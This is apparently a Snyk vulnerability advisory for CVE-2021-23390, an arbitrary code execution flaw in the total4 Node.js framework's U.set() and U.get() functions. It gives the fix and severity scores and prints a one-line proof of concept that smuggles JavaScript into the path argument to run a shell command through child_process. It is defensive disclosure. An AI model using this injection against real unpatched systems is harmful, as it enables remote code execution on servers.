

Arbitrary Code Execution

Affecting [total4](#) package, versions <0.0.43

INTRODUCED: 24 MAR 2021 [CVE-2021-23390](#) [CWE-94](#) [FIRST ADDED BY SNYK](#)

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How to fix?

Upgrade `total4` to version 0.0.43 or higher.

Overview

`total4` is a framework for Node.js platform written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as a web, desktop, service, or IoT application.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the `u.set()` and `u.get()` functions.

PoC by Alessio Della Libera

```
const total = require('total4'); U.set({}, 'a;let {mainModule}=process; let {require}=mainModule; let {exec}=require("child_process"); exec("touch HACKED");//');
```

References

- [GitHub Commit](#)
- [Vulnerable Code](#)

CRITICAL

Search by package name or CVE

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Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

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> NVD

9.8 CRITICAL

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Snyk ID	SNYK-JS-TOTAL4-1130527
Published	7 Jul 2021
Disclosed	24 Mar 2021
Credit	Alessio Della Libera (@d3lla)

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